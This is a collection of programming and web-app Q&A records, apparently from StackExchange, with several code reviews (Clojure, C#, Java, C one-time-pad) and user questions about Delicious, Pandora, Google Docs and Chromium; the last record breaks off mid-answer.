{  "id": "_codereview.121633"  , "question": "ContextI have a bunch of data points that look roughly like this:(defn rand-key []  (into [] (repeatedly 3 #(- (rand-int 19) 9))))(defn rand-val []  (rand-nth [:foo :bar :baz :qux]))(def data (into {} (repeatedly 10 (fn [] [(rand-key) (rand-val)]))))Obviously the actual coordinates would have a much greater range, the actual values would hold some sort of information, and the actual number of data points would be far greater, but you get the idea.This data structure is going to be evolving over time (so I'll probably store it in an atom or something like that), and as it evolves, I want to be able to quickly find the bounding box for the points it contains in its current state.The easiest way to do that for an n-dimensional dataset is to keep n independent sets of its keys, each one sorted in one dimension. Since I can't be bothered to write a proper comparator in Clojure, though, I'm going to replace each of those sets with a sorted map from a coordinate in a particular dimension to the number of data points that have that coordinate in that dimension:(def keymaps (mapv (fn [dimension]                     (->> (keys data)                          (map #(get % dimension))                          frequencies                          (into (sorted-map))))                   (range 3)))With this, it's trivial to find the bounding box of the dataset:(def bounds (mapv (juxt (comp key first) (comp key first rseq)) keymaps))ProblemNow, no matter what I do, I have to update my data and my keymaps together. Maybe, like I suggested above, I have an atom that stores some current state, and in that case that atom would look like this:(def state (atom {:data data :keymaps keymaps}))Any time I update state, I can't just use the built-in Clojure functions to update the :data because that would cause the :keymaps to become outdated. I could write my own functions to replace assoc and dissoc that would keep the two in sync, but then I wouldn't be able to make use of all the great higher-level functions (such as merge) that are built on top of the original, polymorphic assoc and dissoc.SolutionSo I decided to take the most painful approach possible: build a custom map type that allows efficient bounding box queries using the scheme detailed above. First things first, some protocols:(defprotocol Space  (dimension [this]))(defprotocol Bounded  (bounds [this]))Since I need to store extra data alongside an existing map, I can't just use extend-type on the PersistentHashMap class. No, I need a far more powerful tool: deftype! I'll have one field for the underlying data map and another for the vector of keymaps.In most cases, I could get away with just implementing the map abstraction directly, but I don't want to tie myself to a particular implementation for the wrapped map. What if later I decide that I want to use a quadtree or an octree for the underlying map, to allow for efficient queries of subspaces? To prevent myself from having to extend more protocols to my bounded map type than I need to, I'll just provide a way to get the wrapped map and query that:(defprotocol Wrapper  (wrapped [this]))And here's the deftype itself. Prepare for boilerplate:(import (clojure.lang Associative                      Counted                      ILookup                      IPersistentCollection                      IPersistentMap                      Seqable))(declare ->BoundedMap)(deftype BoundedMap [m keymaps]  Seqable  (seq [_] (seq m))  IPersistentCollection  (cons [this [k v]] (assoc this k v))  (empty [_] (->BoundedMap (empty m) (mapv empty keymaps)))  (equiv [_ x] (= m x))  ILookup  (valAt [_ k] (get m k))  (valAt [_ k not-found] (get m k not-found))  Associative  (containsKey [_ k] (contains? m k))  (entryAt [_ k] (find m k))  Counted  (count [_] (count m))  IPersistentMap  (assoc [_ k v]    (->BoundedMap (assoc m k v)                  (if (contains? m k)                    keymaps                    (mapv #(update %1 %2 (fnil inc 0)) keymaps k))))  (without [_ k]    (->BoundedMap (dissoc m k)                  (if (contains? m k)                    (mapv #(if (< 1 (get %1 %2))                             (update %1 %2 dec)                             (dissoc %1 %2))                          keymaps k)                    keymaps)))  Wrapper  (wrapped [_] m)  Space  (dimension [_] (count keymaps))  Bounded  (bounds [_]    (mapv (fn [keymap] (mapv #(key (first (% keymap))) [seq rseq])) keymaps)))And of course, what data structure would be complete without a nifty little constructor function?(defn bounded-map [dimension m]  (->> (keys m)       (iterate (partial map rest))       (take dimension)       (mapv #(into (sorted-map) (frequencies (map first %))))       (->BoundedMap m)))Now I can define my atom like this instead of what I had before:(def state (atom (bounded-map 3 data)))Pretty much all of the Clojure tools for maps will work properly, I can get bounding boxes at my leisure, and if I ever switch to a more featured map implementation for the data itself, I can always compose those extra functions with wrapped.QuestionsIs this the right approach?Is there a way to make = work properly without implementing java.util.Map (yuck)?Can this code be improved in any other way?"  , "title": "Tracking the bounding box of a map"  , "tags": "clojure;coordinate system"  } 
{  "id": "_webapps.3120"  , "question": "Is it possible to change your username on Delicious? I have an old account with all my bookmarks and I would like to change my username.Is the only solution exporting your existing bookmarks from your old account and importing them in your new account? Anyone has experience with this?"  , "title": "Changing your username on Delicious"  , "tags": "delicious;username"  , "accepted_answer": "You can't, but you can create a new account and import your exported bookmarks from your old account.From the Delicious FAQ:How do I change my username?  There's no easy way to do this right now, but  you can use the export and import  features in your settings to change to  a new account while preserving your  current bookmarks. First, visit your  Settings (accessible from the top  right of every page on Delicious) and  select export/backup from that page.  Follow the directions to export your  bookmarks. Then, register or log into  your new account, go to settings, and  select import/upload. After importing  your bookmarks into your new account,  you can log out of it and log back  into your old account to delete that  one. To do this, go to Settings and  choose delete account."  } 
{  "id": "_codereview.103820"  , "question": "How can I improve this code?public virtual HttpResponseMessage Get(int pageNo, int pageSize){    pageNo = pageNo > 0 ? pageNo - 1 : 0;    pageSize = pageSize > 0 ? pageSize : 0;    int total = repository.Table.Count();    int pageCount = total > 0 ? (int)Math.Ceiling(total / (double)pageSize) : 0;    var entity = repository.Table.OrderBy(c => c.ID).Skip(pageNo * pageSize).Take(pageSize);    if (entity.Count() == 0 || entity == null)    {        var message = string.Format({0}: No content, GenericTypeName);        return ErrorMsg(HttpStatusCode.NotFound, message);    }    var response = Request.CreateResponse(HttpStatusCode.OK, entity);    response.Headers.Add(X-Paging-PageNo, (pageNo + 1).ToString());    response.Headers.Add(X-Paging-PageSize, pageSize.ToString());    response.Headers.Add(X-Paging-PageCount, pageCount.ToString());    response.Headers.Add(X-Paging-TotalRecordCount, total.ToString());    return response;}"  , "title": "WebApi Get with paging"  , "tags": "c#;pagination;asp.net web api"  , "accepted_answer": "Let's start with the BUG. if (entity.Count() == 0 || entity == null)If entity is null, then you'll get a NullReferenceException when Count is called, so there's currently no possible way the second half of this statement will ever be called. I think you meant to do this.  if (entity == null || entity.Count == 0)Which works, but isn't great. I would prefer not Any here. I find it's good practice to get into the habit of using Any. It's just more readable IMO. if ( entity == null || !entity.Any() )To clarify. Any() returns as soon it finds an element, whereas Count has to iterate over the entire Enumerable before it returns. Note that this isn't true for List. Any() still returns early when called on a List, but so will Count because a list keeps track of how many items it has as they're added/removed. Enumerables do not already know how big they are. They must be iterated to get a count. Now let's back up a bit and stop your Linq from scrolling off the screen. var entity = repository.Table                 .OrderBy(c => c.ID)                 .Skip(pageNo * pageSize)                 .Take(pageSize);Maybe it's because I grew up with a language where everything is passed ByRef by default (.Net passes ByVal by default), but I don't like assigning values to arguments. public virtual HttpResponseMessage Get(int pageNo, int pageSize){    pageNo = pageNo > 0 ? pageNo - 1 : 0;    pageSize = pageSize > 0 ? pageSize : 0;I'd introduce another variable, but I'm having a hard time thinking of good names at the moment. I'd also consider extracting the logic into private methods to clarify the intent. It doesn't matter that you're unlikely to ever call them from anywhere else, some well named methods can really clarify what code is doing. You can always look inside them if you're interested in the implementation, but at this level, I don't care how we're calculating these numbers, I just care that we are. public virtual HttpResponseMessage Get(int pageNo, int pageSize){    pageNo = NormalizePageNo(pageNo);    pageSize = NormalizePageSize(PageSize);Here's another great opportunity to give logic a name. int pageCount = total > 0 ? (int)Math.Ceiling(total / (double)pageSize) : 0;Mmmm hmmm... Now what is that doing exactly? If the total number of records is greater than zero,     Then return the percentage of total divided by page size, rounded up     Else return Zero. Again, these are implementation details. At the current level of abstraction, we just want to knowint pageCount = CalculatePageCount(total, pageSize);"  } 
{  "id": "_codereview.80515"  , "question": "I've just started delving into JavaFX, and the following is essentially my Hello World. Although it's simple, I question the code formatting and wonder if I'm breaking any conventions, especially if explicitly concerning the library.I also find myself concerned with what best promotes readability. Unfamiliarity brought many an alteration between styles. e.g. for statements, whether it is preferable to instantiate, modify and add an object all at once or simply pairing similar things together and modifying them wherever necessary and adding them at the end -- my final code here is an amalgamation of both styles.This last bit may be delving a bit into SO/Programmers territory, but I'm curious.  I found myself using anonymous inner classes as it made methods easily transportable; I've hitherto not used it more than once in a program, is this bad form? If so, why?import javafx.application.Application;import javafx.beans.value.ObservableValue;import javafx.scene.Group;import javafx.scene.Scene;import javafx.scene.control.Slider;import javafx.scene.paint.Color;import javafx.scene.shape.Line;import javafx.scene.shape.StrokeLineCap;import javafx.scene.text.Text;import javafx.stage.Stage;public class DrawingLines extends Application {    public static void main(String[] args) {        launch(args);    }    @Override    public void start(Stage primaryStage) {        primaryStage.setTitle(Legato's Lines);        Group root = new Group();        Scene scene = new Scene(root, 300, 150, Color.GRAY);        Line redLine = new Line(10, 10, 200, 10) {            {                setStroke(Color.RED);                setStrokeWidth(3);                getStrokeDashArray().addAll(10d, 5d, 15d, 5d, 20d);                setStrokeDashOffset(0);            }        };        Line whiteLine = new Line(10, 30, 200, 30) {            {                setStroke(Color.WHITE);                setStrokeLineCap(StrokeLineCap.ROUND);                setStrokeWidth(10);            }        };        Line blueLine = new Line(10, 50, 200, 50) {            {                setStroke(Color.BLUE);                setStrokeLineCap(StrokeLineCap.BUTT);                setStrokeWidth(5);            }        };        Slider slider = new Slider(0, 100, 0) {            {                setLayoutX(10);                setLayoutY(95);            }        };        Text offsetText = new Text(Stroke Dash Offset: 0) {            {                setX(10);                setY(80);                setStroke(Color.WHITE);            }        };        slider.valueProperty().addListener(            (ov, curVal, newVal) -> offsetText.setText(                Stroke Dash Offset:  + Math.round(slider.getValue()))        );        redLine.strokeDashOffsetProperty().bind(slider.valueProperty());        root.getChildren().add(redLine);        root.getChildren().add(whiteLine);        root.getChildren().add(blueLine);        root.getChildren().add(slider);        root.getChildren().add(offsetText);        primaryStage.setScene(scene);        primaryStage.show();    }}"  , "title": "Whose line is it anyway?"  , "tags": "java;beginner;gui;javafx"  , "accepted_answer": "It's hard to pick on such simple and straightforward code.The one thing that stands out to me is the distance between the line where you declare the root variable, and the lines where you actually use it.Let me quote an interesting paragraph from Code Complete:The code between references to a variable is a window of vulnerability. In the window, new code might be added, inadvertently altering the variable, or someone reading the code might forget the value the variable is supposed to contain. Its always a good idea to localize references to variables by keeping them close together.Indicators of this window of vulnerability are the measurements of variable span and live time:Variable span: the number of lines between references to a variable. When a variable is referenced multiple times, the average span is computed by averaging all the individual spans. The smaller the better.Variable live time: the total number of statements over which a variable is live. This is a count of lines between the first reference and the last. Again, the smaller the better.By declaring root and scene at the top and using only at the button,you have a large window of vulnerability,and high average spans and life times.You can reduce these negative indicators by pushing these declarations down in your method to where the variables are actually used."  } 
{  "id": "_codereview.163586"  , "question": "The problem statement is as follows:The four adjacent digits in the 1000-digit number that have the greatest product are 9  9  8  9 = 5832.73167176531330624919225119674426574742355349194934  96983520312774506326239578318016984801869478851843  85861560789112949495459501737958331952853208805511  12540698747158523863050715693290963295227443043557  66896648950445244523161731856403098711121722383113  62229893423380308135336276614282806444486645238749  30358907296290491560440772390713810515859307960866  70172427121883998797908792274921901699720888093776  65727333001053367881220235421809751254540594752243  52584907711670556013604839586446706324415722155397  53697817977846174064955149290862569321978468622482  83972241375657056057490261407972968652414535100474  82166370484403199890008895243450658541227588666881  16427171479924442928230863465674813919123162824586  17866458359124566529476545682848912883142607690042  24219022671055626321111109370544217506941658960408  07198403850962455444362981230987879927244284909188  84580156166097919133875499200524063689912560717606  05886116467109405077541002256983155200055935729725  71636269561882670428252483600823257530420752963450Find the thirteen adjacent digits in the 1000-digit number that have the greatest product. What is the value of this product?My code below solves the problem.I know this enters into the realm of preference but is it taboo to merge the 100 digit number onto a single line as I initially did but commented out, or is the method utilizing StringBuilder for readability better?public class Program{           public static void Main(string[] args)    {        //string numbers = 7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450;        string numbers = Get100DigitNumber();        Console.WriteLine(MaxProductNumericStringOfLength(numbers,13));    }    static long ProductOfNumericString(string number)    {        long product = 1;        for (int digit = 0; digit<number.Length ; digit++)        {            product *= int.Parse(number[digit].ToString());        }        return product;    }    static long MaxProductNumericStringOfLength(string numberString, int length)    {        long maxSubstring=0;        long possibleMaxSubstring;        for (int position = 0; position < numberString.Length-length ; position++)        {            possibleMaxSubstring = ProductOfNumericString(numberString.Substring(position,length));            if (possibleMaxSubstring > maxSubstring)                maxSubstring=possibleMaxSubstring;        }        return maxSubstring;    }    static string Get100DigitNumber()    {        StringBuilder sb = new StringBuilder();        sb.Append(73167176531330624919225119674426574742355349194934);        sb.Append(96983520312774506326239578318016984801869478851843);        sb.Append(85861560789112949495459501737958331952853208805511);        sb.Append(12540698747158523863050715693290963295227443043557);        sb.Append(66896648950445244523161731856403098711121722383113);        sb.Append(62229893423380308135336276614282806444486645238749);        sb.Append(30358907296290491560440772390713810515859307960866);        sb.Append(70172427121883998797908792274921901699720888093776);        sb.Append(65727333001053367881220235421809751254540594752243);        sb.Append(52584907711670556013604839586446706324415722155397);        sb.Append(53697817977846174064955149290862569321978468622482);        sb.Append(83972241375657056057490261407972968652414535100474);        sb.Append(82166370484403199890008895243450658541227588666881);        sb.Append(16427171479924442928230863465674813919123162824586);        sb.Append(17866458359124566529476545682848912883142607690042);        sb.Append(24219022671055626321111109370544217506941658960408);        sb.Append(07198403850962455444362981230987879927244284909188);        sb.Append(84580156166097919133875499200524063689912560717606);        sb.Append(05886116467109405077541002256983155200055935729725);        sb.Append(71636269561882670428252483600823257530420752963450);        return sb.ToString();    }}"  , "title": "Project Euler Problem 8: Largest product in a series"  , "tags": "c#;beginner;programming challenge"  } 
{  "id": "_webapps.107754"  , "question": "It seems that if you insert a table into a document, there is always a new line after it. This can be quite frustrating if the table is tall, as it keeps adding a blank page that is not required beneath the table.Is there some special way of removing that line?"  , "title": "Line After Table"  , "tags": "google documents"  } 
{  "id": "_webmaster.59146"  , "question": "I have paging URLs below and the page uses AJAX to do paging. Do I need to add _escaped_fragment_= to the URL below or are those URLs fine?<link rel=prev href=http://example.com/youth-basketball-tournaments/kansas?page=4 /><link rel=prev href=http://example.com/youth-basketball-tournaments/kansas?page=5 />"  , "title": "Paging next/previous links with Google escape fragment"  , "tags": "seo;google;ajax;pagination"  } 
{  "id": "_cs.57515"  , "question": "I'm trying to figure out how to compute an amortized complexity/ or complexity of this algorithm. We have a Graph which is oriented. And we are going to run Dijkstra's algorithm for finding a shortest path between vertices, but it has to start only in those vertices, which has no input edge going to this vertex (the vertices with red color).So Dijkstra would be runned only from red vertices. If we run Dijkstra on all vertices, we could assume that complexity is |V|*Dijkstra but in this case we do not need such big complexity. As is one Dijkstra big, another Dijkstra from another vertex would be runned on less vertices. The more Dijkstras we run, the less vertices could be visited.Dijkstra from all vertices should have |V|(|E|+|V|*log|V|) complexity. This complexity should be much lower but I can't figure out where to compute."  , "title": "How to compute amortized complexity of n runs of Dijkstra's algorithm?"  , "tags": "graph theory;graphs;time complexity;amortized analysis"  } 
{  "id": "_codereview.41748"  , "question": "This one time pad encryption program I have written (basically just an XOR encryption program) seems to be working fine, compiling nicely (gcc -o ./OTP.c), and doing what it's supposed to. However I would like to improve it as much as possible which is why I am posting this.I am particularly insecure about the memory allocation. Any suggestions regarding improvements are more than welcome!The code in its entirety is found below and can also be found on Github: PrivacyProject/OTP-Encryption.#include <stdio.h>#include <stdlib.h>#include <sys/stat.h>#include <sys/mman.h>int main(int argc, char **argv){struct stat statbuf;struct stat keybuf;char buffer [20];int key;int data;int output;int count;char ans;int * buf;FILE * keyfile;FILE * sourcefile;FILE * destfile;if(geteuid() !=0){printf(Root access is required to run this program\\n\\n);exit(0);}if(argc<4){printf(\\n);printf(    OTP 1.0 \\n\\n);printf(    This program encrypts a  file using a random key\\n);printf(    and  generates an output file with the resulting\\n);printf(    cipher.  Decryption is achieved  by  running the\\n);printf(    output file as source file  with the same key.\\n\\n);printf(    WARNING: The security of the encryption provided\\n);printf(    by this program is entirely dependent on the key\\n);printf(    file.  The keyfile should meet the  requirements\\n);printf(    below:\\n);printf(    - Be of the same size or larger than the\\n);printf(      source file.\\n);printf(    - Be completely random, preferably generated by \\n);printf(      a Hardware Random Number Generator.\\n);  printf(    - NEVER be reused!\\n\\n);printf(    The  author takes no  responsibility  for use of\\n);printf(    this program. Available under GNU General Public\\n);printf(    Licence v.2\\n\\n);printf(    USAGE: OTP <source file> <output file> <keyfile>\\n\\n);return (0);}/* Check number of arguments. */if(argc>4){printf(Too many arguments.\\n);printf(USAGE: OTP <source file> <output file> <keyfile>\\n);exit(1);}/* Allocate memory required by processes */buf = (int*) malloc (sizeof(int));if (buf == NULL){perror(Error);exit(1);}/* Lock down pages mapped to processes */printf(Locking down processes...\\n\\n);if(mlockall (MCL_CURRENT | MCL_FUTURE) < 0){perror(mlockall);exit (1);}/* Check if sourcefile can be opened. */if((sourcefile = fopen(argv[1], rb))== NULL){printf(Can't open source file\\n);perror(Error);printf(USAGE: OTP <source file> <output file> <keyfile>\\n);exit (1);}/* Get size of sourcefile */fstat(fileno(sourcefile), &statbuf); /* Check if keyfile can be opened. */if((keyfile = fopen(argv[3], rb))== NULL){printf(Can't open keyfile.\\n);perror(Error);printf(USAGE: OTP <source file> <output file> <keyfile>\\n);exit(1);}                               /* Get size of keyfile */fstat(fileno(keyfile), &keybuf);/* Check if keyfile is the same size as, or bigger than the sourcefile */if((keybuf.st_size) < (statbuf.st_size)){printf(Source file is larger than keyfile.\\n);printf(This significantly reduces cryptographic strength.\\n);printf(Do you wish to continue? (Y/N)\\n);fgets(buffer, 20, stdin);sscanf(buffer, %c, &ans);if(ans == 'n' || ans == 'N'){exit (1);}if(ans == 'y' || ans == 'Y'){    printf(Proceeding with Encryption/Decryption.\\n);    }else{printf(No option selected. Exiting...\\n);exit (1);}}   /* Check if destfile can be opened. */if((destfile = fopen(argv[2], wb))== NULL){printf(Can't open output file.\\n);perror(Error);exit(1);                    }    /* Encrypt/Decrypt and write to output file. */while(count < (statbuf.st_size)){key=fgetc(keyfile);data=fgetc(sourcefile);output=(key^data);fputc(output,destfile);count++;}/* Close files. */fclose(keyfile);fclose(sourcefile);fclose(destfile);printf(Encryption/Decryption Complete.\\n\\n);/* delete Source file option. */printf(Do you wish to delete the source file? (Y/N)\\n);fgets(buffer, 20, stdin);sscanf(buffer, %c, &ans);if(ans == 'y' || ans == 'Y'){    if ( remove(argv[1]) == 0)    {    printf(File deleted successfully.\\n);    }    else    {    printf(Unable to delete the file.\\n);    perror(Error);    exit(1);    }}/* delete keyfile option. */printf(Do you wish to delete the keyfile? (Y/N)\\n);fgets(buffer, 20, stdin);sscanf(buffer, %c, &ans);if(ans == 'y' || ans == 'Y'){    if ( remove(argv[3]) == 0)    {    printf(File deleted successfully.\\n);    }    else    {    printf(Unable to delete the file.\\n);    perror(Error);    exit(1);    }}/* cleanup */printf(Releasing memory.\\n);free (buf);return(0);}"  , "title": "Small one time pad encryption program"  , "tags": "c;beginner;memory management;cryptography"  , "accepted_answer": "Things you did well on:You make good use of comments.You try to make the user experience as smooth as possible, printing out a lot of useful information.Things you could improve:A few notes that others haven't covered:Running your program through Valgrind, I didn't see any memory leaks besides where your if conditions fail and you exit main().    if((sourcefile = fopen(argv[1], rb)) == NULL)    {        printf(Can't open source file\\n);        perror(Error);        printf(USAGE: OTP <source file> <output file> <keyfile>\\n);        exit(1);    }The majority of modern (and all major) operating systems will free memory not freed by the program when it ends. However, relying on this is bad practice and it is better to free it explicitly. Relying on the operating system also makes the code less portable.if((sourcefile = fopen(argv[1], rb)) == NULL){    puts(Can't open source file.);    perror(Error);    free(buf)    return -5;}Your encryption method is secure, banking on the fact that the all of the conditions for your program are met.But I always think worst case scenario, where the user doesn't follow your program's optimal conditions. If you want to use secure encryption techniques, you can benefit from a cryptography expert's work.  This means you will have to implement an external library (such as OpenSSL).  Here is an example if you want to go that route.You have an implicit declaration of function geteuid(), which is invalid in the C99 standard.#include <unistd.h>fopen(), a widely-used file I/O functions that you are using, got a facelift in C11. It now supports a new exclusive create-and-open mode (...x). The new mode behaves like O_CREAT|O_EXCL in POSIX and is commonly used for lock files. The ...x family of modes includes the following options:wx create text file for writing with exclusive access.wbx create binary file for writing with exclusive access.w+x create text file for update with exclusive access.w+bx or wb+x create binary file for update with exclusive access.Opening a file with any of the exclusive modes above fails if the file already exists or cannot be created. Otherwise, the file is created with exclusive (non-shared) access. Additionally, a safer version of fopen() called fopen_s() is also available.  That is what I would use in your code if I were you, but I'll leave that up for you to decide and change.You can cut down on a few lines of code by initializing similar types on one line.  This will keep you more organized.   struct stat statbuf;   struct stat keybuf;   char buffer [20];   int key;   int data;   int output;   int count;   char ans;   int * buf;   FILE * keyfile;   FILE * sourcefile;   FILE * destfile;Also, initialize your int values when you declare them.  Pointer values will default to NULL.struct stat statbuf, keybuf;char buffer [20];char ans;int key = 0, data = 0, output = 0, count = 0;int *buf;FILE *keyfile, *sourcefile, *destfile;You check if argc is greater or less than 4.if(argc<4){    // huge printf() block    return (0);}// ...if(argc>4){    printf(Too many arguments.\\n);    printf(USAGE: OTP <source file> <output file> <keyfile>\\n);    exit(1);}Just check for the inequality of 4 and print the block statement.if (argc != 4){    // printf() block    return 0;}I would have extracted all of the encryption to one method and all of the file validation in another method, but I'll leave that for you to implement. You can remove the != 0 for maximum C-ness, but this is to your discretion and tastes.   if(geteuid() != 0)It is more common to return 0; rather than to exit(0).  Both will call the registered atexit handlers and will cause program termination though.  You have both spread throughout your code.  Choose one to be consistent. Also, you should return different values for different errors, so you can pinpoint where something goes wrong in the future.Use puts() instead of printf() with a bunch of '\\n' characters.   printf(    and  generates an output file with the resulting\\n);puts(    and generates an output file with the resulting);You compare some pointers to NULL in some test conditions.     if (buf == NULL)You can simplify them.if (!buf)Your perror() messages could be more descriptive.You compare some input to the uppercase and lowercase versions of characters.   if (ans == 'n' || ans == 'N')You could use the tolower() function in <ctype.h> to simplify it a bit.if (tolower(ans) == 'n')Already mentioned, but please indent your code properly.  It will make your code a lot easier to read and maintain.  You can find IDE's out there that will do it automatically for you when told.Final code (with my changes implemented):#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <ctype.h>#include <sys/stat.h>#include <sys/mman.h>int main(int argc, char **argv){    struct stat statbuf, keybuf;    char buffer[20];    char ans;    int key = 0, data = 0, output = 0, count = 0;    int *buf;    FILE *keyfile, *sourcefile, *destfile;    if(geteuid() != 0)    {        puts(Root access is required to run this program.);        return -1;    }    if(argc != 4)    {        puts(OTP 1.0 \\n);        puts(This program encrypts a  file using a random key);        puts(and  generates an output file with the resulting);        puts(cipher.  Decryption is achieved  by  running the);        puts(output file as source file  with the same key.\\n);        puts(WARNING: The security of the encryption provided);        puts(by this program is entirely dependent on the key);        puts(file.  The keyfile should meet the  requirements);        puts(below:);        puts(    - Be of the same size or larger than the);        puts(      source file.);        puts(    - Be completely random, preferably generated by);        puts(      a Hardware Random Number Generator.);        puts(    - NEVER be reused!\\n);        puts(The  author takes no  responsibility  for use of);        puts(this program. Available under GNU General Public);        puts(Licence v.2\\n);        puts(usage: OTP <source file> <output file> <keyfile>);        return 0;    }    /* Allocate memory required by processes */    buf = (int*) malloc (sizeof(int));    if (!buf)    {        perror(Error);        free(buf);        return -3;    }    /* Lock down pages mapped to processes */    puts(Locking down processes...);    if(mlockall (MCL_CURRENT | MCL_FUTURE) < 0)    {        perror(mlockall);        free(buf);        return -4;    }    /* Check if sourcefile can be opened. */    if((sourcefile = fopen(argv[1], rb)) == NULL)    {        puts(Can't open source file.);        perror(Error);        free(buf);        return -5;    }    /* Get size of sourcefile */    fstat(fileno(sourcefile), &statbuf);    /* Check if keyfile can be opened. */    if((keyfile = fopen(argv[3], rb)) == NULL)    {        puts(Can't open keyfile.);        perror(Error);        free(buf);        return -6;    }    /* Get size of keyfile */    fstat(fileno(keyfile), &keybuf);    /* Check if keyfile is the same size as, or bigger than the sourcefile */    if((keybuf.st_size) < (statbuf.st_size))    {        puts(Source file is larger than keyfile.);        puts(This significantly reduces cryptographic strength.);        puts(Do you wish to continue? (Y/N));        fgets(buffer, 20, stdin);        sscanf(buffer, %c, &ans);        if (tolower(ans) == 'n')        {            free(buf);            return 0;        }        else if (tolower(ans) == 'y') puts(Proceeding with Encryption/Decryption.);        else        {            puts(No option selected. Exiting...);            free(buf);            return -7;        }    }    /* Check if destfile can be opened. */    if ((destfile = fopen(argv[2], wb)) == NULL)    {        puts(Can't open output file.);        perror(Error);        free(buf);        return -8;    }    /* Encrypt/Decrypt and write to output file. */    while (count < (statbuf.st_size))    {        key=fgetc(keyfile);        data=fgetc(sourcefile);        output=(key^data);        fputc(output,destfile);        count++;    }    /* Close files. */    fclose(keyfile);    fclose(sourcefile);    fclose(destfile);    puts(Encryption/Decryption Complete.);    /* delete Source file option. */    puts(Do you wish to delete the source file? (Y/N));    fgets(buffer, 20, stdin);    sscanf(buffer, %c, &ans);    if (tolower(ans) == 'y')    {        if (remove(argv[1]) == 0) puts(File deleted successfully.);        else        {            puts(Unable to delete the file.);            perror(Error);            free(buf);            return -9;        }    }    /* delete keyfile option. */    puts(Do you wish to delete the keyfile? (Y/N));    fgets(buffer, 20, stdin);    sscanf(buffer, %c, &ans);    if(tolower(ans) == 'y')    {        if (remove(argv[3]) == 0) puts(File deleted successfully.);        else        {            puts(Unable to delete the file.);            perror(Error);            free(buf);            return -10;        }    }    /* cleanup */    puts(Releasing memory.);    free (buf);    return(0);}"  } 
{  "id": "_webapps.13692"  , "question": "Is there a automagical way that I can copy my favorites from Pandora to Last.FM?"  , "title": "Copy favorite songs and artists from Pandora to Last.fm?"  , "tags": "music;pandora;last.fm"  } 
{  "id": "_unix.140946"  , "question": "I have a problem with switching layouts in Chromium. If I switch keyboard layout it changes successfully, but I can't still type Cyrillic (or other) symbols in Chromium. I found out that actually keyboard layout is changed in Chromium, because symbols like ?,  and  are on the different places (they are in placesion which they should be in the current layout), but I can't type letters from the current layout.So for example I'm in English layout - I can type any letters etc. without any problems. Then I switch my layout to Russian (for example), after that I can't type any Cyrillic letters at all, I still can type only Latin letters."  , "title": "Keyboard layout isn't changed in Chromium under Debian"  , "tags": "debian;keyboard layout;chrome"  } 
{  "id": "_codereview.48002"  , "question": "I am building a new system that is using some tables from an old system.For each user on this new system, I need to go to the old system and total up their sales.  Currently it takes between 2-5 minutes to load.public static List<DailyTeamGoal> GetListDailyTeamGoals(int teamId){    string teamGoal = ;    List<ProPit_User> lstProPit_User = new List<ProPit_User>();    using (ProsPitEntities db = new ProsPitEntities())    {        // Find the team        Team team = db.Teams.Where(x => x.teamID == teamId).FirstOrDefault();        if (team != null)        {            // Grab team goal            teamGoal = Convert.ToString(team.goal);        }        // Make a list of all users who are on the team        lstProPit_User = db.ProPit_User.Where(x => x.teamID == teamId).ToList();    }    List<DailyTeamGoal> lstDailyTeamGoal = new List<DailyTeamGoal>();    using (TEntities db = new TEntities())    {        //have to get every day of the month        DateTime dt = DateTime.Now;        int days = DateTime.DaysInMonth(dt.Year, dt.Month);        decimal orderTotal = 0m;        for (int day = 1; day <= days; day++)        {            // For every day in the month total the sales            DailyTeamGoal dtg = new DailyTeamGoal();            dtg.Date = day.ToString(); //dt.Month + / + day; + / + dt.Year;            dtg.TeamGoal = teamGoal;            decimal orderTotalRep = 0m;            foreach (var propit_User in lstProPit_User)            {                DateTime dtStartDate = Convert.ToDateTime(dt.Month + / + day + / + dt.Year);                DateTime dtEndDate = dtStartDate.AddDays(1);                var lstorderTotalRep = (from o in db.Orders                                    where o.DateCompleted >= dtStartDate                                    where o.DateCompleted <= dtEndDate                                    where (o.Status == 1 || o.Status == 2)                                    where o.Kiosk != 0                                    where o.SalesRepID == propit_User.SalesRepID                                    orderby o.OrderTotal descending                                    select o.OrderTotal).ToList();                foreach (var item in lstorderTotalRep)                {                    //orderTotalRep =+ item;                    orderTotalRep += item;                }            }            orderTotal += orderTotalRep;            dtg.DailyTotal = orderTotal;            lstDailyTeamGoal.Add(dtg);        }    }    return lstDailyTeamGoal;}The above code will use my site to find the teamID the logged in person is on.  It will then find all members who are on that team.  For each member it finds it will calculate the total sales and then spit me back a list.  Any way to speed this up?"  , "title": "Calculating total sales from each member"  , "tags": "c#;performance;linq;entity framework;asp.net mvc 4"  , "accepted_answer": "I won't comment about the fact that this is a static method in what's possibly a static helper class and that it would be much prettier in a service class instance... but I just did.The method is doing way too many things.Thing one:// Make a list of all users who are on the teamThat's one method. But there's a twist: you not only need all users on the team, but also the teamGoal figure. I'd encapsulate that in its own class:public class TeamGoalAndUsersResult // todo: rename this class{    public IEnumerable<ProPit_User> Users { get; private set; }    public string Goal { get; private set; }    public TeamGoalAndUsersResult(string goal, IEnumerable<ProPit_User> users)    {        Users = users;        Goal = goal;    }}And then you can write a method/function that will return that type:private TeamGoalAndUsersResult GetTeamGoalAndUsers(int teamId){    using (ProsPitEntities db = new ProsPitEntities())    {        var goal = string.Empty;        var team = db.Teams.SingleOrDefault(x => x.teamID == teamId);        if (team != null)        {            goal = Convert.ToString(team.goal);        }        var users = db.ProPit_User.Where(x => x.teamID == teamId).ToList();        return new TeamGoalAndUsersResult(goal, users);    }}Performance Issue:            var lstorderTotalRep = (from o in db.Orders                                where o.DateCompleted >= dtStartDate                                where o.DateCompleted <= dtEndDate                                where (o.Status == 1 || o.Status == 2)                                where o.Kiosk != 0                                where o.SalesRepID == propit_User.SalesRepID                                orderby o.OrderTotal descending                                select o.OrderTotal).ToList();            foreach (var item in lstorderTotalRep)            {                //orderTotalRep =+ item;                orderTotalRep += item;            }You're doing all the computation on the client. I'd take a wild guess and say that this is where your bottleneck is. Do you really need to select, sort and materialize 